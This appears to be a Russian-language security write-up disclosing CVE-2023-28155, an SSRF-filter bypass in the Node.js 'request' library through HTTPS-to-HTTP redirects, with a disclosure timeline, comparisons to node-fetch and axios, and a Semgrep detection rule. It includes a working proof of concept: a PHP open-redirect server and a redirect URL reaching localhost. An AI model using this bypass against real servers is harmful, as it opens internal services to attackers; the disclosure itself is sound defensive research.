Обход перекрестного перенаправления SSRF

Обход перекрестного перенаправления SSRF

Этичный Хакер

Подделка запросов на стороне сервера (SSRF) — довольно известная уязвимость с установленными методами предотвращения. Итак, представьте мое удивление, когда я обошел средство защиты от SSRF во время рутинного повторного тестирования. Хуже того, я обошел фильтр, который мы сами рекомендовали ! Я не мог пропустить это и должен был добраться до сути вопроса.

Введение

Подделка запросов на стороне сервера — это уязвимость, при которой злоумышленник использует сервер-жертву для выполнения запросов HTTP(S) от имени злоумышленника. Поскольку сервер обычно имеет доступ к внутренней сети, эта атака полезна для обхода брандмауэров и белых списков IP-адресов для доступа к хостам, недоступным для злоумышленника.

Запросить уязвимость в библиотеке

Атаки SSRF можно предотвратить с помощью фильтрации адресов, при условии отсутствия обхода фильтров. Одним из классических методов обхода фильтрации SSRF является атака с перенаправлением. В этих атаках злоумышленник настраивает вредоносный веб-сервер, обслуживающий конечную точку, перенаправляющую на внутренний адрес. Сервер-жертва правильно разрешает отправить запрос на внешний сервер, но затем слепо следует злонамеренному перенаправлению на внутреннюю службу.

Ничего из вышеперечисленного, конечно, не ново. Все эти методы существуют уже много лет, и любая авторитетная библиотека против SSRF снижает такие риски. И тем не менее, я обошел его.

Код клиента представлял собой простую конечную точку, созданную для интеграции. Во время исходного взаимодействия вообще не было никакой фильтрации. После нашего теста клиент применил анти-SSRF-библиотеку ssrfFilter . В целях исследования и анонимности кода я извлек логику в отдельный скрипт NodeJS:

const request = require('request');
const ssrfFilter = require('ssrf-req-filter');

let url = process.argv[2];
console.log("Testing", url);

request({
    uri: url,
    agent: ssrfFilter(url),
}, function (error, response, body) {
    console.error('error:', error);
    console.log('statusCode:', response && response.statusCode);
});

Чтобы проверить обход перенаправления, я создал простой веб-сервер с конечной точкой открытого перенаправления в PHP и разместил его в Интернете, используя мой тестовый домен tellico.fun:

<?php header('Location: '.$_GET["target"]); ?>

Начальный тест показывает, что уязвимость устранена:

$ node test-request.js "http://tellico.fun/redirect.php?target=http://localhost/test" 
Testing http://tellico.fun/redirect.php?target=http://localhost/test
error: Error: Call to 127.0.0.1 is blocked.

Но затем я переключил протокол и внезапно снова смог получить доступ к службе локального хоста. Читатели должны внимательно смотреть на полезную нагрузку, так как разница минимальна:

$ node test-request.js "https://tellico.fun/redirect.php?target=http://localhost/test"
Testing https://tellico.fun/redirect.php?target=http://localhost/test
error: null
statusCode: 200

Что случилось? Сервер злоумышленника перенаправил запрос на другой протокол — с HTTPS на HTTP. Это все, что нужно для обхода защиты от SSRF.

Почему это? Покопавшись в кодовой базе популярной библиотеки запросов , я обнаружил в lib/redirect.jsфайле следующие строки:

  // handle the case where we change protocol from https to http or vice versa
if (request.uri.protocol !== uriPrev.protocol) {
  delete request.agent
}

Согласно приведенному выше коду, каждый раз, когда перенаправление вызывает переключение протокола, агент запроса удаляется. Без этого обходного пути клиент мог бы выйти из строя каждый раз, когда сервер вызывал бы перенаправление между протоколами. Это необходимо, поскольку нативные NodeJ http(s).agentнельзя использовать с обоими протоколами.

К сожалению, при таком поведении теряется любая обработка событий, связанных с агентом. Учитывая, что предотвращение SSRF основано на createConnectionобработчике событий агентов, это неожиданное поведение влияет на эффективность стратегий предотвращения SSRF в requestбиблиотеке.

Раскрытие информации

Об этой проблеме было сообщено сопровождающим 5 декабря 2022 года. Несмотря на все наши усилия, мы еще не получили подтверждения. По прошествии 90 дней мы решили опубликовать полные технические подробности , а также общедоступную проблему Github , связанную с запросом на включение исправления. 14 марта 2023 года этой уязвимости был присвоен CVE ID.

  • 05.12.2022 - Первое сообщение сопровождающему
  • 18.01.2023 - Очередная попытка связаться с сопровождающим
  • 08.03.2023 - Создание выпуска на Github , без технических подробностей
  • 13.03.2023 — присвоена CVE-2023-28155
  • 16.03.2023 - Полное раскрытие технических деталей

Другие библиотеки

Поскольку якобы универсальный фильтр оказался настолько зависимым от реализации HTTP(S)-клиентов, естественно задаться вопросом, как другие популярные библиотеки справляются с этими случаями.

Node-Fetch

Библиотека node-Fetchтакже позволяет перезаписывать агента HTTP(S) в своих параметрах без указания протокола:

const ssrfFilter = require('ssrf-req-filter');
const fetch = (...args) => import('node-fetch').then(({ default: fetch }) => fetch(...args));

let url = process.argv[2];
console.log("Testing", url);

fetch(url, {
    agent: ssrfFilter(url)
}).then((response) => {
    console.log('Success');
}).catch(error => {
    console.log('${error.toString().split('\n')[0]}');
});

Однако, в отличие от requestбиблиотеки, он просто не работает в случае перенаправления между протоколами:

$ node fetch.js "https://tellico.fun/redirect.php?target=http://localhost/test"
Testing https://tellico.fun/redirect.php?target=http://localhost/test
TypeError [ERR_INVALID_PROTOCOL]: Protocol "http:" not supported. Expected "https:"

Поэтому провести подобную атаку на эту библиотеку невозможно.

Аксиос

Опции библиотеки axiosпозволяют перезаписывать агенты для обоих протоколов отдельно. Поэтому следующий код защищен:

axios.get(url, {
    httpAgent: ssrfFilter("http://domain"),
    httpsAgent: ssrfFilter("https://domain")
})

Примечание. В библиотеке Axios необходимо жестко закодировать URL-адреса во время перезаписи агента. В противном случае один из агентов будет перезаписан агентом для неправильного протокола, и перенаправление между протоколами завершится ошибкой, как и в библиотеке node-fetch.

Тем не менее axiosзвонки могут быть уязвимы. Если забыть перезаписать оба агента, межпротокольное перенаправление может обойти фильтр:

axios.get(url, {
    // httpAgent: ssrfFilter(url),
    httpsAgent: ssrfFilter(url)
})

Такие неверные настройки легко пропустить, поэтому мы создали правило Semgrep , которое отлавливает похожие шаблоны в коде JavaScript:

rules:
  - id: axios-only-one-agent-set
    message: Detected an Axios call that overwrites only one HTTP(S) agent. It can lead to a bypass of restriction implemented in the agent implementation. For example SSRF protection can be bypassed by a malicious server redirecting the client from HTTPS to HTTP (or the other way around).
    mode: taint
    pattern-sources:
      - patterns:
        - pattern-either:
            - pattern: |
                {..., httpsAgent:..., ...}
            - pattern: |
                {..., httpAgent:..., ...}
        - pattern-not: |
                {...,httpAgent:...,httpsAgent:...}
    pattern-sinks:
      - pattern: $AXIOS.request(...)
      - pattern: $AXIOS.get(...)
      - pattern: $AXIOS.delete(...)
      - pattern: $AXIOS.head(...)
      - pattern: $AXIOS.options(...)
      - pattern: $AXIOS.post(...)
      - pattern: $AXIOS.put(...)
      - pattern: $AXIOS.patch(...)
    languages:
      - javascript
      - typescript
    severity: WARNING

Краткое содержание

Как обсуждалось выше, мы обнаружили уязвимость SSRF, которую можно использовать, в популярной библиотеке запросов . Несмотря на то, что этот пакет устарел, эта зависимость по-прежнему используется более чем в 50 000 проектах с более чем 18 миллионами загрузок в неделю.

Мы продемонстрировали, как злоумышленник может обойти любые механизмы защиты от SSRF, внедренные в эту библиотеку, просто перенаправив запрос на другой протокол (например, с HTTP на HTTPS). Хотя многие библиотеки, которые мы рассмотрели, действительно обеспечивают защиту от таких атак, другие, например, axiosмогут быть потенциально уязвимыми при наличии подобных неправильных конфигураций. Чтобы упростить обнаружение и предотвращение этих проблем, мы также выпустили наше внутреннее правило Semgrep.



Report Page